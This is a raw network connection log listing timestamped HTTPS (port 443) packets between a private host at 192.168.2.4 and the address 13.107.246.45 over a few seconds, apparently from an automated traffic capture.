Oct 8, 2024 02:46:29.803684950 CEST	51504	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.803700924 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.803710938 CEST	51504	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.803715944 CEST	443	51504	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.805630922 CEST	51511	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.805644035 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:29.805700064 CEST	51511	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.805793047 CEST	51511	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:29.805799007 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.307419062 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.307894945 CEST	51507	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.307919979 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.308307886 CEST	51507	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.308312893 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.407123089 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.407289028 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.407345057 CEST	51507	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.407419920 CEST	51507	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.407433987 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.407443047 CEST	51507	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.407448053 CEST	443	51507	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.410135984 CEST	51512	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.410240889 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.410347939 CEST	51512	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.410506010 CEST	51512	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.410527945 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.430126905 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.430510998 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.430556059 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.430913925 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.430927992 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.449909925 CEST	443	51509	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.450215101 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.450273991 CEST	443	51509	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.450541019 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.450593948 CEST	443	51509	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.450840950 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.451055050 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.451078892 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.451318979 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.451328993 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.492644072 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.493058920 CEST	51511	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.493087053 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.493422031 CEST	51511	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.493432999 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.536962986 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.537110090 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.537151098 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.537157059 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.537199974 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.537245035 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.537245989 CEST	51508	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.537281036 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.537305117 CEST	443	51508	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.539411068 CEST	51513	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.539459944 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.539536953 CEST	51513	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.539643049 CEST	51513	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.539653063 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.550008059 CEST	443	51509	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.550347090 CEST	443	51509	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.550442934 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.550442934 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.550442934 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.553524971 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.553560972 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.553615093 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.553725004 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.553735971 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.563618898 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.563654900 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.563704967 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.563709021 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.563765049 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.563936949 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.563936949 CEST	51510	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.563983917 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.564013004 CEST	443	51510	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.569750071 CEST	51515	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.569844007 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.569945097 CEST	51515	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.570099115 CEST	51515	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.570121050 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.597481012 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.597636938 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.597713947 CEST	51511	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.597795010 CEST	51511	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.597795963 CEST	51511	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.597841024 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.597870111 CEST	443	51511	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.600322008 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.600419998 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.600528002 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.600670099 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.600692034 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:30.767383099 CEST	51509	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:30.767422915 CEST	443	51509	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.067729950 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.068200111 CEST	51512	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.068285942 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.068604946 CEST	51512	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.068620920 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.165508986 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.166065931 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.166134119 CEST	51512	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.166228056 CEST	51512	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.166229010 CEST	51512	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.166277885 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.166311026 CEST	443	51512	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.168740034 CEST	51517	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.168778896 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.168844938 CEST	51517	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.168982983 CEST	51517	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.168992996 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.178087950 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.178586960 CEST	51513	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.178613901 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.178843021 CEST	51513	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.178848982 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.205692053 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.206068993 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.206093073 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.206456900 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.206460953 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.235399008 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.235815048 CEST	51515	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.235855103 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.236478090 CEST	51515	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.236490965 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.269906044 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.272373915 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.272397041 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.272898912 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.272902966 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.279742956 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.279922962 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.279983044 CEST	51513	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.280025005 CEST	51513	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.280045986 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.280060053 CEST	51513	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.280066013 CEST	443	51513	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.282352924 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.282385111 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.282448053 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.282571077 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.282581091 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.317003965 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.317030907 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.317073107 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.317102909 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.317126989 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.317289114 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.317301989 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.317312956 CEST	51514	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.317318916 CEST	443	51514	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.319562912 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.319598913 CEST	443	51519	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.319669008 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.319791079 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.319802046 CEST	443	51519	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.360266924 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.360801935 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.360902071 CEST	51515	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.360982895 CEST	51515	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.360982895 CEST	51515	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.361027956 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.361052990 CEST	443	51515	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.363497972 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.363547087 CEST	443	51520	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.363631964 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.363961935 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.363992929 CEST	443	51520	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.404922962 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.405438900 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.405550957 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.405714989 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.405715942 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.405810118 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.405810118 CEST	51516	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.405853987 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.405884981 CEST	443	51516	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.407958984 CEST	51521	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.408065081 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.408143044 CEST	51521	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.408257961 CEST	51521	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.408276081 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.964600086 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.965195894 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.965207100 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.965698957 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.965703011 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.968810081 CEST	443	51519	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.969264984 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.969291925 CEST	443	51519	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:31.969728947 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:31.969736099 CEST	443	51519	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.021433115 CEST	443	51520	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.021931887 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.022006989 CEST	443	51520	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.022320032 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.022334099 CEST	443	51520	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.054729939 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.055619955 CEST	51521	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.055680037 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.056014061 CEST	51521	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.056032896 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.065655947 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.065732002 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.065804958 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.065828085 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.065849066 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.065906048 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.065906048 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.065906048 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.067161083 CEST	443	51519	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.067341089 CEST	443	51519	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.067430019 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.067430019 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.067430019 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.068440914 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.068497896 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.068593025 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.068708897 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.068736076 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.069447994 CEST	51523	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.069539070 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.069619894 CEST	51523	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.069758892 CEST	51523	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.069796085 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.082633018 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.083345890 CEST	51517	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.083359957 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.083733082 CEST	51517	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.083739042 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.127741098 CEST	443	51520	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.127904892 CEST	443	51520	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.128072977 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.128072977 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.128072977 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.131050110 CEST	51524	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.131097078 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.131185055 CEST	51524	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.131382942 CEST	51524	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.131406069 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.154340982 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.154495001 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.154606104 CEST	51521	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.154690027 CEST	51521	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.154690027 CEST	51521	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.154733896 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.154758930 CEST	443	51521	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.156807899 CEST	51525	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.156836033 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.156899929 CEST	51525	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.157008886 CEST	51525	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.157021046 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.186733961 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.187937021 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.188044071 CEST	51517	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.188075066 CEST	51517	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.188090086 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.188133001 CEST	51517	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.188138008 CEST	443	51517	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.190571070 CEST	51526	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.190589905 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.190653086 CEST	51526	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.190944910 CEST	51526	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.190953970 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.376962900 CEST	51519	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.376965046 CEST	51518	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.376998901 CEST	443	51518	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.377000093 CEST	443	51519	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.439522982 CEST	51520	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.439598083 CEST	443	51520	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.718739986 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.719549894 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.719611883 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.720012903 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.720027924 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.726111889 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.726399899 CEST	51523	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.726428032 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.726738930 CEST	51523	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.726746082 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.806057930 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.806478977 CEST	51524	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.806521893 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.806746006 CEST	51524	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.806761980 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.818846941 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.819473982 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.819511890 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.819528103 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.819612980 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.819612980 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.819684029 CEST	51522	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.819716930 CEST	443	51522	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.821746111 CEST	51527	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.821818113 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.821908951 CEST	51527	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.821997881 CEST	51527	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.822019100 CEST	443	51527	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.825325966 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.825370073 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.825427055 CEST	51523	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.825515032 CEST	51523	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.825515985 CEST	51523	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.825576067 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.825604916 CEST	443	51523	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.827219009 CEST	51528	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.827249050 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.827307940 CEST	51528	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.827397108 CEST	51528	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.827404022 CEST	443	51528	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.834846973 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.835151911 CEST	51525	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.835165024 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.835546970 CEST	51525	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.835551023 CEST	443	51525	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.848016024 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.848364115 CEST	51526	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.848376989 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.848803043 CEST	51526	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.848805904 CEST	443	51526	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.909476995 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.909625053 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.909688950 CEST	51524	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.909770012 CEST	51524	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.909782887 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.909795046 CEST	51524	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:32.909801006 CEST	443	51524	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:32.912388086 CEST	51529	443	192.168.2.4	13.107.246.45
